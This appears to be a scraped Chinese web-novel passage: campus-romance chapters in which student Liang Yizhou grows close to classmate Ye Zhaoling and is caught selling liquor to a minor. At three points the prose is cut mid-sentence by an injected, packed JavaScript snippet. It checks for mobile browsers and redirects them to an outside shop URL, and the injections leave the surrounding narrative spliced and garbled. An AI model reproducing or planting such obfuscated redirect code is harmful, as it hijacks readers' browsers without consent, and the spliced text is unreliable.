梁宜舟吃完甜品后,拎了份学校东门那边的鸭血粉丝煲回宿舍。 刚一进门,本来还在滔滔不绝跟网友开黑打着游戏的程如梨,忽然静音,冒着挂机扣分的风险,立刻从床上爬下来,差点一脚踩空,木头椅子哐当一响。 好似担心被其他人听见,实则宿舍只有她们俩。 梁宜舟正疑惑地瞥她一眼,将餐盒放在自己的桌子上,抓紧时间脱了外套,抬手就将笔记本电脑打开,等待开机的间隙,程如梨压低声音却细声变形地问:“回来啦!快!告诉我怎么个情况!我要憋死了!” 梁宜舟真没反应过来,脑子里还是辅导员让她临时修改下讲座现场座位分布图的需求,尤其是第一排,要标注清楚院系领导的座位,“……什么情况?” “你!那个!” 梁宜舟诧异:“……什么?” “你和那个谁!”程如梨把宿舍门关严实,很兴奋地压低着声音,“你和叶朝陵怎么认识的!他可是军训的时候凭借一张别人偷拍的素颜照,就在我们学校的贴吧、BBS和班级群炸开了锅的大帅哥!” “是吗?”梁宜舟刚点开Photoshop,还没来得及将海报文件拖进去,停下来,转过头看向程如梨,“我怎么不知道?” “你当然不知道,你忘了军训那会儿,你弟弟摔断腿没有人照顾,你妈跟辅导员大闹一场,硬是逼迫学校取消你的军训要求,好回家照顾弟弟。”程如梨对此嗤之以鼻,越说越气愤,“怎么都这个年代了,你们家还重男轻女啊!” “哦,对。”梁宜舟想起来了。 她不太记跟陈艳他们家发生的事情,没什么好的记忆,想多了,记久了,只会让人在颅内无限延伸怨怼和委屈,想把日子过得好点,那可就是难上加难了。 梁宜舟找到另一个角度安慰她们彼此:“没军训也好,虽然没跟你们快速熟悉起来,但是我皮肤其实挺敏感的,小时候年年湿疹,没少受罪。” 程如梨双手搭在她肩膀上,“你这个人就是太会自我疗愈了,什么都不往心里去。”眼神落在餐食的包装袋上,指了指,忙问道:“怎么才吃饭?” “本来是正要吃,结果辅导员给我连环夺命call,让我改下海报座位图。”梁宜舟说,“所以就直接买了一份带回来吃了。” “她自己不会修个图?” 梁宜舟没吱声,无奈地耸了下肩膀,另一只手伸过去准备打开鸭血粉丝汤,被程如梨抢先,替她解开了,“先吃饭吧,都大晚上了,谁看啊,先说正经事。” “你说……叶朝陵?” “当然了!除了你和他,我今夜将不关心任何人和事。” 梁宜舟笑了下,“我要是告诉你,我们俩就是萍水相逢的同学关系。你信吗?” “萍水相逢的同学关系会相约一起吃甜品吗?” 梁宜舟微微偏过头,被程如梨掰正,“好好吃饭!” “你怎么知道我和叶朝陵一起去吃的甜品……” 程如梨说:“这很难不知道吧!他就站在你面前诶!你俩四目相对,说说笑笑,大家都看见了,只是我离得近,听到了‘红豆沙’。” “哦。” “还‘哦’!有人把你们俩下午的照片发群里,被班长强制撤回了消息,这才消停,私下里还不知道他们怎么传呢。” 梁宜舟笑点很歪:“又不是什么劲爆图,大惊小怪,他人气有这么高吗……” “主要你人气也很高的,宝贝。”程如梨感慨,“毕竟漂亮是稀缺资源。” “这样吗,我屏蔽了群消息,不怎么点开。” “不重要!”程如梨将采访拉回到自己的节奏,再次提问之前,吃了一口梁宜舟喂过来的吸满了汤汁的豆泡,她囫囵嚼着,说着好吃,话题直接跳转到她最想知道的问题,“那你们俩算是在暧昧中吗?” “不算吧。” “哦……”程如梨的状态马上如同霜打茄子,“那你喜欢他吗?” “你怎么这么直接……”梁宜舟刚喝了口汤,差点烫到舌头。 “或者他喜欢你吗?总有一个人更主动一点,你们俩才能发展到可以约饭吧!”程如梨分析的头头是道,“不然他怎么不认识我,不认识其他人呢?” 梁宜舟没仔细想过这个问题,她目前的学习范围还在解决现实问题对她心理上带来的影响,甚至是冲击。感情问题,她有点顺其自然的享受其中。 像她喜欢的白桃果汁那样,微甜少酸,但是又不怎么有气泡回响。 梁宜舟认真回答:“没有想过‘喜不喜欢’这个问题。” “那你现在想啊!” “啊?” “这个应该很好判断呀,你不会没有喜欢过一个人吧?”程如梨再次震惊,“你高中没有喜欢过任何男同学吗?” 梁宜舟不愿意回想她的中学时代,要解决的现实问题比现在还多。 “没有。”她回答果断。 梁宜舟仔细斟酌了几秒,心无旁骛地跟她讨论课题一般,说道:“我只能说,如果按大家对叶朝陵的光环,和实际上跟他相处感受到的绅士和从容来说,很难有人能明确得出,不喜欢他的结论。” “那就是喜欢?” “应该有一点。”梁宜舟心情微微异动,仍然强行补充说,“但是我觉得这也很正常,或许换了类似的人,不分性别,我也会喜欢的。” 程如梨掀起眼皮,无语地砸了下嘴,郑重地叮嘱她:“那下次感情有变化的时候,希望你正视且及时发现,并且告诉我,让我来给你这个没有恋爱经历的人好好分析一下,好吗?不要自己在那边闷着头瞎分析!” 梁宜舟轻轻一笑,“……好的吧。” / 听程如梨打听来的消息,本次来做亲密关系主题分享会的心理学教授,是本系辅导员的研究生导师,算是顺水人情,这已经是第八次来我校开展讲座。 梁宜舟对此不甚关心,她只是按照学生会宣传部的任务安排,负责绘制本次活动的入场券和宣发海报,包括制作入口处的教授单人像“易拉宝”物料。 能听一场相关学科的讲座,又可以凭自己的额外技能获得三个学分的加分,所以梁宜舟对本次活动安排在周六,占据她个人休息时间,没有任何怨言。 程如梨唉声叹气地坐在签到处长桌前:“我感觉总共没有三十个人来……” “应该不会,听说社会学系那边发了消息,说是来听讲座可以加学分。” “那我们怎么没有?”程如梨低声咒骂,“就知道窝里横欺负本专业的同学。” 梁宜舟微微嗔她一句,“别说啦,隔墙有耳,等下开讲以后你就溜吧,我在这行了。” “那我怎么舍得让你一个人在这当苦力。” “没事的,不行你去做个美甲,结束了再回来找我吃饭。” 程如梨声音忽然兴奋,不动声色地拉扯着梁宜舟的胳膊,几乎掐到她的肌肤,“那什么!你们家叶朝陵要过来签到了!我可不敢耽误你们约会!” “……什么我们家。” “嗨。”叶朝陵背着双肩包,穿着清爽的白色T恤,手上还拿着笔记本电脑,朝着梁宜舟笑了下,随后垂下眼睑,问道:“在这里签到吗?” 梁宜舟马上点头,“对,我给你留了最中间的座位。” “谢谢。”叶朝陵低下头签完名字,观察了下周围的环境,语气自若:“你呢?一直在后台,还是也能在开场以后坐下一起听讲座。” 梁宜舟搜肠刮肚,在想怎么回答这个问题,按理说,她等下就可以待在后排空位。 程如梨抢先回答:“这里有我就行了!她对讲座感兴趣,特别感兴趣,她也去听。” 梁宜舟疑惑抬眼,低声嘟囔了句:“也行,反正坐不满,我到时候随便找个空位。” “那我先过去。” “好。” 叶朝陵刚走出去两步,入口处便有人轻声喊了他一声。 三位中年女性并排走来,衣着严肃而又得体。梁宜舟能认出其中一位社会学系的教授,她这学期选修了这位教授人口学的课程。 叶朝陵转身朝他们走过去,打过招呼,两位老师先行离开,他背对着梁宜舟而立,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093622|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多远的距离,程如梨站起来,顺着她的目光看过去,小声问:“什么情况?” “不知道,可能碰到什么认识的老师了吧。” “哦……”程如梨向来大大咧咧,忍不住说,“可是那个女老师脸色看起来好严肃。” 梁宜舟借组装人像易拉宝为挡住身体的借口,挪到了入口处,整个人被遮挡。 她无意偷听,反而内心有一种隐隐的担心。 刚靠近,就听见叶朝陵说了一句,“抱歉。” 那位女士声音平稳,却难掩严厉,“这个时间点你回家教你弟弟做做功课,他天天在家念叨着你,哪怕你们俩一起去打打篮球,不好吗?怎么还跑到这里来听讲座?” 叶朝陵没有出声。 对方继续说,言辞冷淡:“不是我喜欢约束你的自由,人的时间和精力毕竟是有限的,你又是医学院的学生,你要知道,这方面想有所成就,那就是得当‘苦行僧’。” 叶朝陵闷声:“知道。” “好了,我也不想什么时刻都说教,你心里有数就好,别让我和叶老师担心。”那位女士的声音稍微放平缓,梁宜舟抓着易拉宝的手指却逐渐攥紧,越发觉得沉甸甸。 “嗯。” 叶老师应该指的是他父亲吧。 梁宜舟想起她和程如梨进别墅区捡羽毛球那次,保安大哥几近虔诚地跟叶朝陵道谢,一直感谢叶教授对他们家的帮助。 不过怎么他们这样的高知家庭,也是更偏爱小儿子? 纵然有叶朝陵这样的孩子,也会更偏爱小儿子? 梁宜舟心底像是被人砍倒了一课长满星光的大树,泛着白光,却没有一点浪漫的渲染感受,只觉得戚戚然,甚至有点莫名其妙的生闷气。 令她只能在易拉宝人像后又躲了几分钟,才回过神来。 / 梁宜舟等接待完所有同学入场,台下灯光已经昏暗,她沿着阶梯走到后排时,发现叶朝陵坐在最后一排的正中间位置。 梁宜舟很小心翼翼地挪过去,坐下后,手掌捂嘴,小声问他:“你怎么不坐前面?我特意给你留了个最好的位置。” “等你一起。” “哦。” 也是,显而易见。 叶朝陵的背包放在腿上,抱在胸前,同样小声问她:“喝水,还是饮料?” “有什么饮料?” “可乐,果汁,罐装咖啡。” “这么齐全。”梁宜舟笑着看向他垂眸的侧脸,忽然以为自己身在电影院。 这个念头将她自己吓了一跳。 她吞咽了一口,“我还是喝点咖啡吧,苦一点,提神。” 叶朝陵始终面色淡淡,“你今天很累?” “也没有,就是想冷静一下。” “哦。” 叶朝陵将罐装咖啡递给梁宜舟之前,很细心地把易拉罐拉环打开,用纸巾包好,连带着一根属于她的,刚刚不知道什么时候落上去的女生长发,放进自己的背包外侧,绅士得让梁宜舟挪不开眼。 “谢谢。” 梁宜舟喝了一大口下去,几乎一饮而尽。舌尖有丝滑的苦味,稍微有点回神,让她又想起刚刚在入口处叶朝陵被“数落”的那一幕。 她偷偷瞥了一眼旁边的人。 梁宜舟拿起咖啡罐,抿唇时,眼神又往旁边飘了一样。 叶朝陵转过头,疑惑抬眼:“怎么了?” “没有,没有。”梁宜舟总觉得心头沉甸甸的,幽声道,“你心情……还好吗?” “嗯。” “看着很一般诶。” 叶朝陵没有对她的贸然提问露出疑惑的神情,很有礼貌的回应:“嗯。” 梁宜舟一瞬间莞尔,佯作委屈的语气,忍不住感慨说:“我们每次在一起的时候,怎么总有一个人不开心啊?” 叶朝陵的手指骨骼分明,似有若无地触碰了下梁宜舟的手背,将她手上的空易拉罐拿走,淡笑了一下,“你可以反向思考。” “……什么?” “一个人不开心的时候,我们另一个为什么总是正好在身边。” 9. 礼物 09、礼物 普通的一个周四,陈艳给梁宜舟连续打了五个电话,微信上还发了三条六十秒的语音消息,越是密集轰炸,越是难以激发梁宜舟想语音转文字的念头。 最后一条是傍晚时分,梁琰拿小天才手表打来的电话。 梁宜舟当时正在学校食堂排烧鸭饭的队,人声嘈杂,她直接问:“干什么?” “我妈找你一天了。” 梁宜舟没好气地说:“着火了就找警察,找我干什么。” “不是!但是确实是找你‘救火’,你赶紧给我妈回个电话。”梁琰那边还有看着动画片,在吃薯片脆脆的声音,“你可感谢我吧!不然她就要拿我手表直接给你打电话了,还是我给拦下来的,我说你这样以后都不会搭理我了!” 梁宜舟松了下嘴角,被梁琰求表扬好大喜功的语气逗笑,“你知道就好。” “那我肯定知道啊!我没事都不会烦你的。” “你烦我的也不少。” “那你是我唯一的亲姐姐,我是你唯一的亲弟弟,我当然有事就找你求救。”梁琰从邻里街坊那边学来的老一套说辞,“以后等你结了婚,我就是小舅子,我还得给你撑腰呢,这样你的未来老公才不敢欺负你!” 梁宜舟揶揄两声,“闭嘴,别学这些有的没的。” “行,行,我闭嘴,你赶紧回我妈电话吧,不然等下她冲到你宿舍楼下,我可拦不住她。我现在还没有那么大力气!” 梁宜舟笑话他说:“那你还说帮我撑腰?” “那我是小学生啊,我现在真没办法!以后我有好事,都想着你!” “行吧,别卖乖了,我挂了,我在食堂吃饭。” 梁琰干笑几声,“行,我不打扰姐姐享用美食,但是我的好姐姐,下次回家可以把Switch继续借我玩吗?我好不容易才问同学借了《动物森友会》的卡带。” “再说吧。”轮到梁宜舟买饭,她稍微远离听筒,跟食堂阿姨讲清楚自己只要一份烧鸭饭,外加一个卤蛋就行。 “好姐姐!我生日也快到了!我真想玩,我太喜欢这些游戏了,你能不能就当是给我的生日礼物,但是我不要啊!我就借着玩一玩就行……”梁琰很夸张的语气哀求说,“好姐姐!我真的没有其他东西可以玩,别的同学都玩过!” “打住!我先吃饭了,等我回去再说。” 梁琰隔空作揖,连连讨好,“好的,姐姐吃饭吧,等你,等你。” / 梁琰告警得很正确,如果梁宜舟再不及时回电,陈艳估计真的会立刻骑上她充满油渍的电瓶车,杀到女生宿舍楼下,并且难为宿管阿姨,让她强行把自己喊下来,就算是想借学校规章制度名义躲避,都难以逃避。 毕竟上次陈艳也是这样逼迫校务处老师和系主任,给梁宜舟免去军训安排的。 不过还好这次也不是什么大事,寥寥数语就挂了电话。 只是陈艳的砂锅米线店在餐点时段需要人手帮忙,原本一直是邻居阿姨按小时工计费搭把手,但是他们家孩子在学校踢球摔破头,需要缝针,邻居阿姨临时赶过去处理,请了少说三天假。 陈艳舍不得这几天的流水,想来想去只能喊梁宜舟回家帮忙。 毕竟这家店跟她也有关系,她母亲在世时虽然不怎么打理,但总归是她外婆留给梁宜舟母女的,门面房产权还挂在梁宜舟的名下。 梁宜舟手脚不快,切菜也不熟练,没有以前寒暑假帮忙的利索。 陈艳也没多说,只是瞪她几眼,让她负责在店内外上菜和收拾吃完的碗筷。梁宜舟见她从开店之前,凌晨四点就忙个没停,也没找她麻烦,闷着头老实干活。趁人少的时候,走到灶台边,跟她说,要按小时计费给她才行。 陈艳嘴里没好话,让她“滚一边去”,语气却不甚严厉。 来店里吃砂锅米线的都是附近学校的学生,还有一些街坊邻居,都是老熟人了,口味习惯都是多年固定的,也是看着梁宜舟长大的,见了面都能互相问声好,甚至背着陈艳,暗暗替梁宜舟抱屈,让她好好读大学,少回家当苦力。 梁宜舟只是笑着应下,家事不怎么对外人言。 也有角度刁钻爱嚼舌根子的,当着梁宜舟的面跟陈艳寒暄,说她都长这么大了,越长越漂亮了,以后嫁了人就可以让陈艳享福了。 梁宜舟面色如常,光洁的一双手没有一丝犹豫就把铺满红油的米线碗叠在一起,一次性摞起来放进铁盆里,双手吃力地猛一抬起来,往后厨去放。 梁宜舟没打理她,那人还在身后说得更过分。 她对着陈艳说:“现在漂亮女孩子可危险了,尤其是读了点书的,更是喜欢走捷径,艳姐你可得看好了,不然出什么事,被人抓包了,可就难看了!” 陈艳虽说抱怨不离口,对外却很是护犊子,听了这话,炸开了锅一般哐一声直接把大铁锅撂在了不锈钢桌上,“饭都塞不住你的嘴?!什么看好了,她是小狗还是小猫,我怎么看?她是什么孩子,你不知道吗?你不比我看的还久吗?” 那人忙说,她也没说什么,生什么气呀。 梁宜舟刚把沉重的铁盆放下,还没来得及开水龙头洗手,回头看见陈艳拿着锅铲一副要把人生煎活剥了的样子,她扭曲的表情上,出现了一丝少见的可爱。 于是,那天晚上,梁宜舟忙完收摊,跟着陈艳一起回了趟家。 不过她依旧没有留宿的习惯,只是趁陈艳去骂她爸的功夫,给梁琰送去了一张问程如梨借来的游戏卡带。 梁琰没玩过《异度之刃》,身边也没有同学玩过,但是在这不要紧,光是有卡带和姐姐允许他再玩一周Switch,他就已经高兴得在床上乱跳了几下。 梁宜舟慌忙阻止:“下来!想死啊!” 梁琰捂住嘴,伏低做小,“哦哦,好好好,听我最美丽的姐姐的。” “你生日快到了。礼物呢?想要什么?”梁宜舟很嫌弃地伸出手指在梁琰的书桌上擦了一下,“你读几年级了?是不是留级了……怎么还要削铅笔?” 梁琰完全忽略后面的问题,直接双手合十许愿:“Switch,或者手机,新的旧的都可以,只要能玩。” “手机不行。”梁宜舟严厉道,“你妈要是知道我给你用手机,非得杀了我。” “那就游戏机!手机也确实不方便,还得充话费,我没钱啊。” “你的零花钱可不少。” 梁琰苦恼,“可是我想买的还有很多。” “那跟我无关。”梁宜舟嫌弃地看他一眼,“虽然这么说真的很像无趣的大人,但是我必须说一句,我像你这么大的时候,除了买文具,根本没有零花钱。” 梁琰向来都有自己理解问题的角度,认真抱怨说:“但是真不够用。” “我是不会给你钱的,生日礼物我再考虑一下。” “行!你肯考虑就行!” 买生日礼物给梁琰庆生这件事,程如梨曾经问过梁宜舟,问她为什么生长在重男轻女的重组家庭,对梁琰也谈不上有血浓于水的姐弟感情,却一直愿意省吃俭用尽可能满足梁琰的一点小愿望。 当时刚开学没多久,只是宿舍夜聊提到,梁宜舟见人多就含糊过去了。 实际上,这跟梁宜舟十四岁的生日有关系。 那一年梁琰才上小学,他跟梁宜舟的生日其实没差几天,可是自从梁宜舟的亲生母亲去世后,陈艳一直将他们俩的生日放到一起过。 说是一起过,实则买蛋糕都是买梁琰喜欢的样式,最夸张的一次是把蛋糕做成了“保时捷”的车型,上面也只有“梁琰生日快乐”的巧克力字样。 这些梁宜舟从来没表达过不满,她也从不认为这是在给她过生日。 她的父亲和陈艳甚至连在梁琰吹完蜡烛、许完愿望以后,都不会重新替她再插一次蜡烛,光是表面功夫,都没有人替她的自尊心系上蝴蝶结。 十四岁生日,在平凡的一个周末晚上度过。 吹完蜡烛,梁宜舟的父亲因为她一直垮着一张脸而忽然暴怒,几乎要动手揍她,大声质问她,到底欠她什么了,每天回家都是这样顶着一张死妈脸。 放平时,梁宜舟根本不会搭理。 但是“死妈脸”轻易激怒了梁宜舟,她仰起脸,瘦小的身体绷紧,几近嘶吼着问他父亲:“我是不是就是死了妈呢!” 清脆的一巴掌落下的时刻—— 梁琰哇哇大哭。 下一秒,他冲到梁宜舟面前,拿起脚边的小板凳,想也没想就朝他们的爸爸扔了过去,按他的身高只够砸到父亲的肩膀,把陈艳吓个半死,根本拦不住。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她拿眼神示意,陈艳却不看她的眼色,心生较量:“草莓你带去宿舍吃,别给其他人吃,现在草莓贵得要死!家里也不差你一口饭吃,别出去干什么丢人的事情,到时候别人撕破脸,我看你以后还活不活了!” “……”梁宜舟无语地看她一眼,不知道她刚刚听到电话,胡思乱想了什么,亦或是白天那个阿姨的话,起了作用,“让让,草莓留给梁琰就行了。” “他有!” “不用了。” 梁宜舟头也没回地走了,轻微擦着陈艳的肩膀,她厌恶这种看似关心的羞辱,她向来自爱、自尊,有向上的力量。 走在回学校的路上,天还是阴蒙蒙的,有人撑着伞,有人径直走着。 梁宜舟包里带着叶朝陵的伞。 她想起来了,纠结了几秒,先微信询问他现在时间方便吗。她迎着细微的水汽漫步,一点也不觉得浪漫,只有疲惫,心累到连打字都不想。 叶朝陵没有回复,而是直接打了微信电话过来。 “怎么了?” 梁宜舟自问声音并不低落,“哦,没事,就是下雨了,想到你。” “哦,我在图书馆,都不知道下雨了。” “这样,那你好好休息。” 叶朝陵那边走到窗边,打开窗户,有微风拂过,令他的声音更清晰,“你呢?身体不舒服?听起来声音很没力气。” 梁宜舟轻笑,“这是未来主治大夫的职业病吗?” 叶朝陵没多问,只是说:“你没事就好。” 梁宜舟呼了口气,“嗯,没事,我就是想起你的伞了,怕你出门没有伞用。” 叶朝陵静默了两秒,问她:“那如果我现在要用,你方便来接我吗?” “当然。”梁宜舟尽量让自己语气自然又热忱,如同往常,“那你要等我至少十五分钟,我还在校外走着。可以吗?” “嗯,注意安全。” 等走到图书馆门前时,叶朝陵已经站立等候。 梁宜舟跟他打了个招呼,第一时间就指了指他手上的伞,“你不是有伞吗?而且现在其实也没下雨,我一路就这样走过来的。” 叶朝陵声音冷静,没有迟疑,仿佛再合理不过,“想见你一定要下雨天吗?” 10. 难堪 10、难堪 梁宜舟深呼吸了一下,撑开伞,仰着头看向叶朝陵:“那我送你回宿舍?” “先带你去医务室。” 梁宜舟总想吸气,“我生病了吗?我感觉还好诶。” “有一点鼻音,看着很疲倦。” “明显吗?”梁宜舟只是觉得有点呼吸不上新鲜空气,误以为是落雨之前的压抑空气,“你不说还好,说完我感觉我有点呼吸不畅。” 叶朝陵微笑应声:“这位同学,我是想成为外科医生,不是儿科。” “我不是小朋友。” 叶朝陵接过她手中的伞,朝她那边倾斜,声音很轻,“不是吗?” “才不是。”梁宜舟不卖关子,静默着看了他几秒,发现他没有要停步的打算,“我们打一把伞走在学校里OK吗?” 叶朝陵面孔平静,“你会不方便吗?” “哦,那倒没有,我还好。” “那走吧。” 梁宜舟说得勉强,“……其实我从小到大没怎么去过医院。” 叶朝陵弯了弯唇,伸手绕到身侧的背包里,捏紧掌心拿出来,让梁宜舟伸出手来。梁宜舟尽量不与之对视,盯着他好看的手指看,“是什么?” “伸手。” “那好吧。” 梁宜舟摊开掌心,一个困惑的鼻音掉落下来,“嗯?” 一颗薄荷味喉糖。 梁宜舟拿起来,在叶朝陵眼前晃了晃,“薄荷糖?干什么的……” “哄小朋友去医院。” 梁宜舟薄薄的眼皮微掀,难掩倦态,“行,那为你破例一次。” 叶朝陵眼底稍微顾虑,“去医院对你来说,这么严重吗?” “骗你的,只是讨厌医院的消毒水气味啦,走廊像恐怖游戏里面的死亡场景。”梁宜舟原本跟叶朝陵并肩而行,中间尚有半步间距,见叶朝陵一直将伞朝她倾斜照顾,心一横,索性靠近,肩头似有若无地擦碰着他的胳膊和胸前。 梁宜舟自开学到现在没有去过医务室,偶尔遇到感冒发烧,也就是网购买点常规药,跟着叶朝陵来到医务室,才知道在这里可以用学生医保卡,划算不少。 校医已经下班,只有值班护士在,很快替梁宜舟量好了体温。 体温38.4°。 比梁宜舟的体感温度明显更高,梁宜舟特意补充说:“我没有其他症状。” 护士安慰说:“可能感冒才开始,早点治疗也是好事,学校人多,感冒常见。” “那我会传染给其他人吗?” “不好说,你还是尽量把口罩戴好,只能初步判断,应该不是甲流。”护士收拾好温度计,问了几个常规问题,有没有浓痰,绿色还是黄色,见她精神状态还不错,叮嘱说,“我给你开点退烧药和感冒药,医生不在,先不打针了。” “好,谢谢。” 护士笑说:“谢那个男同学吧,药刚刚都给你都买好了,这会儿倒热水去了。” “哦……” 等叶朝陵回来,梁宜舟已经在医务室不流通的空气中恹恹欲睡。 “你要不要眯一会儿?医务室有床。” 梁宜舟清了下嗓子,才过二十几分钟,喉咙就明显沙哑,有一处明显的吞咽疼痛感,“不用,等下就回去了。” “嗯,先吃退烧药。回去洗个热水澡,睡一觉就好了。” 叶朝陵端着一次性纸杯,递到梁宜舟手中时已经是温热状态。 “谢谢。” 两颗红色退烧药片摊在掌心,梁宜舟正欲一次性吞下去时,手机响了起来,除了广告推销,很少有人会跟陈艳一样不先在微信询问,就直接打电话过来。 梁宜舟皱着眉从背包里掏出来,很快转晴,拿手给自己的发烫的脸扇风降温,瞥了一眼在一旁的叶朝陵,先挂断了电话。 叶朝陵此时已经侧过身,没有要看她隐私的意思。 梁宜舟收紧掌心,担心吃完药会犯困,仰起脸跟叶朝陵道谢:“谢啦!” “没事。” “那我先回去了。”梁宜舟指了指叶朝陵手上那一袋子,“给你微信转账?” “不用。” “那我不跟你客气了,下次请你吃饭。” 叶朝陵淡笑,“记得按时吃药。” “你会检查吗?”梁宜舟站起来,在陈艳的砂锅米线店帮忙跑腿了一天,小腿现在酸疼得发硬,“吃药给你发打卡照片。” 叶朝陵淡淡笑说:“真的会发吗?” “我要是没发,你就主动问一下喽。” 叶朝陵没有接话,替她把扭曲的书包背带轻轻调正,“走吧,送你回去。” 梁宜舟“嗯”了一声,盯着他的后脑勺想了想,他们好像总是有下一次见面的约定,就好像下雨天永远不会停,带不带伞根本不要紧。 / 梁宜舟躲在女生宿舍一楼,从走廊窗户看见叶朝陵离开后,她马上回拨了陈屿的电话,一接通就着急问他:“你解放了?” “对。出来打球了,老规矩,我微信转你,你有什么带什么,别太显眼。” “好。”梁宜舟再次确认,“还是一中国际部前面的篮球场是吧?” “对,我旁边有人盯着,你得演一演,靠你了。” “那没问题。” 梁宜舟火速回到宿舍,三步并作两步走爬上楼梯,打开宿舍衣柜时,颅内恍惚,有一瞬间差点站不稳脚。 今天是一中高中部月考的日子,过了放学时间二十分钟,学校依然灯火通明,不少学生边走边讨论着这次的压轴大题。 陈屿趁乱跟同学打着球。 “你不用考试吗?”梁宜舟骑着小黄车轻车熟路的赶到,气喘吁吁的扶着腰,书包里满满当当装好,“你到底高几啊?” “这不用跟你交代吧。” “哦,我就问问。”他不似之前巷子里穿着一身黑色潮服的男爱豆模样,穿上校服后显得稚嫩了许多,梁宜舟二话不多说,问他,“现在给你?” “我班主任就在附近,盯着我呢,烟这次不要了。” “嗯。” 梁宜舟从包里把四瓶农夫山泉拿出来,露出很擅长的人畜无害的微笑,“你要不要稍微打两下,进个球,好让我犯花痴送水送的合理点?” “无聊,快点的吧。” “行!”梁宜舟很敬业地马上双手递上,扬声说,“喝水吧!学弟!我看你打球好久了,这个是我和我同学特意给你买的水,请你们喝哦!” 陈屿被她演出来的崇拜模样看怔愣了,不适应地摸了下头,一脸不可置信,“你之前不是挺酷的吗?” 梁宜舟皮笑肉不笑的说:“赶紧的吧,你管那么多呢。” 梁宜舟收敛起笑容,变化之快,她并不喜欢这个场合,只想快点结束。 / 梁宜舟回到校外自己骑来的那辆小黄车边时,“滴”一声刚扫码解锁,肩膀上就被人轻轻拍了一下,“同学。” 梁宜舟轻轻转身,见到是一位女士和一位穿着西装的司机。 这位女士,气质高雅,她不用多想就回忆起是叶朝陵的母亲。 梁宜舟在心理学讲座那天躲在易拉宝立牌后偷看过。 “请问有什么事吗?” 女士开口自我介绍,语气却是不悦:“我姓陈,是陈屿的母亲。” 梁宜舟“哦”了一声,马上回身,准备跨上自行车,“我不认识。” “我全程录音的,你认不认识的都交给警察处理吧。”陈女士一把按住她的肩膀,走到她侧前方,挡住车道,“陈屿是未成年人,我一直很好奇他到底怎么在我密不透风的眼皮子底下,又是抽烟,又是喝酒,真是防不住你们年轻人的高招啊,你知道你这样私下里给他出售烟酒是违法的吗?” 梁宜舟双唇紧闭。 “我不是执法机关,我不会难为你,有什么事麻烦你跟我去一趟派出所。要是真有什么误会,我当面跟你鞠躬道歉。” 梁宜舟尽量平静:“您可以去找您儿子沟通,没必要难为我,没有了我,也还是有别人,本质问题不出在我这里,而且我没有教导他抽烟喝酒。” 陈女士面露愠色,伸手抓紧梁宜舟的胳膊,不顾力道,梁宜舟想挣开,嘴里喊着“疼”,“我怎么教育孩子是我的事情,你违法就是你的事情,我倒是要看看你是什么样家庭里养出来的好孩子。” 一提到家庭,梁宜舟就想息事宁人,语气放软问她:“我以后再也不跟陈屿联系了行吗?我没有家人,您别这样。” “不行!” 陈女士几乎是一路揪着梁宜舟到达的派出所。 梁宜舟完全完全挣脱不开,胳膊被她拧的已经麻木失去知觉,在混乱糟糕的精神状态下,梁宜舟居然在录笔录时,想起她没有锁上的共享单车。 这会儿不知道被人免费骑去了哪里。 民警告诉陈女士,情况他们还在了解,但是希望她不要再跟梁宜舟动手,她毕竟是个在校读书的大学生,虽然已经成年,但是在她父母和老师没有到达之前,不建议她这边单独再跟梁宜舟接触。 梁宜舟请求不要联系校方,无奈只能提供陈艳的联系方式。 民警见多了这样的纠纷,没有马上当起和事老,也没有劝诫还是学生的梁宜舟,只是让梁宜舟把事情的经过说清楚。 事情也并不复杂。 梁宜舟如实相告。 她父亲梁义平在国企单位给领导开车,经常能够收到一些喝不完的好酒。 梁宜舟每次回家,都会顺手把那些好酒装进矿泉水瓶带走。 刚开始是偷偷低价出售给巷子口卖散酒的大叔,后面这家店倒闭盘出去了,梁宜舟才开始在网上发帖询问,最后没想到是一中二手群里的学弟来咨询。 她只知道陈屿是个小富二代,被爸妈看管得很严,平时都在一中国际部学习,住校那会儿没少卖给他烟和酒,最近他被爸妈接回家走读,才消停了一阵。 这次被陈屿的母亲刚好抓包,纠缠到了派出所。 按《未成年人保护法》第五十九条和第一百二十三条规定,梁宜舟的行为当然涉嫌违法,散装酒也没有改变向未成年人兜售烟酒的性质。 这一点梁宜舟了解过,只是她每次都将费用控制的很低,不足以入刑。 民警游说陈女士:“她毕竟是慕城大学的学生,是个名校大学生,她这么做虽然涉嫌违法,但是跟销售单位违规违法还是有一定的区别。等她母亲到了,你们可以再协商一下,不要任何事情都上升到法律的层面。” 陈女士体面应付:“那她母亲什么时候到?我已经等了很久了。” 陈艳那边接到电话后,几乎是第一时间就关了店,骑着电瓶车赶到,连身上布满油渍的围裙和拖鞋都没来得及换。 她听了民警三句话,想着这应该不是什么大事,对着陈屿母亲就是一通辱骂:“她也不过是个十九岁的孩子!你自己孩子管不好,你怪我女儿啊?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093624|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈女士气得发抖,“果然是什么样的母亲就有什么样的女儿!” “你是大人!你别管不好自己儿子,就拿我女儿出气,那点钱我们退了就是,烟酒都是真的,又不是吃死人了!用得着把我女儿抓到派出所来吗?” “你!” 